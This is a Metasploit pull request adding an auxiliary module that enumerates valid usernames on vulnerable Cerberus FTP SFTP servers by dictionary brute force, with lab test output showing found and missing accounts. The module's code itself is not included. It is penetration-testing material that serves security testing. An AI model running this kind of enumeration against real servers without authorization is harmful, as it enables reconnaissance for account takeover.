rapid7/metasploit-framework — pull request #3470 by attackdebris (2014-06-23 00:07:46+00:00)
Title: Add Module for Cerberus SFTP User Enumeration

This module uses a dictionary to brute force valid usernames from Cerberus FTP server via the SFTP service. This issue affects all versions of the software older than 6.0.9.0 or 7.0.0.2.

#### Testing

Install vulnerable version of Cerberus FTP (which also installs SFTP) on Windows platform and add a few users. Some older versions are still available on vendor website: http://www.cerberusftp.com/download/

###### Vulnerable 1 (Cerberus 6.0.0.3):
```
msf auxiliary(cerberus_sftp_enumusers) > run

[*] 10.0.0.46:22 SSH - Checking for vulnerability
[*] SSH Server Version: SSH-2.0-CerberusFTPServer_6.0
[*] 10.0.0.46:22 SSH - is vulnerable
[*] 10.0.0.46:22 SSH - Starting scan
[!] 10.0.0.46:22 SSH - User 'test' not found
[+] 10.0.0.46:22 SSH - User 'matt' found
[!] 10.0.0.46:22 SSH - User 'admin' not found
[+] 10.0.0.46:22 SSH - User 'anonymous' found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(cerberus_sftp_enumusers) >
```
###### Vulnerable 2 (Cerberus 4.0.98):

```
msf auxiliary(cerberus_sftp_enumusers) > run

[*] 10.0.0.41:22 SSH - Checking for vulnerability
[*] SSH Server Version: SSH-2.0-CerberusFTPServer_4.0
[*] 10.0.0.41:22 SSH - is vulnerable
[*] 10.0.0.41:22 SSH - Starting scan
[!] 10.0.0.41:22 SSH - User 'test' not found
[!] 10.0.0.41:22 SSH - User 'matt' not found
[+] 10.0.0.41:22 SSH - User 'admin' found
[!] 10.0.0.41:22 SSH - User 'anonymous' not found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(cerberus_sftp_enumusers) >
```

###### Not Vulnerable (Cerberus 4.0.98):
```
msf auxiliary(cerberus_sftp_enumusers) > run

[*] 10.0.0.31:22 SSH - Checking for vulnerability
[*] SSH Server Version: SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u1
[-] 10.0.0.31:22 SSH - is not vulnerable. Aborting.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(cerberus_sftp_enumusers) >
```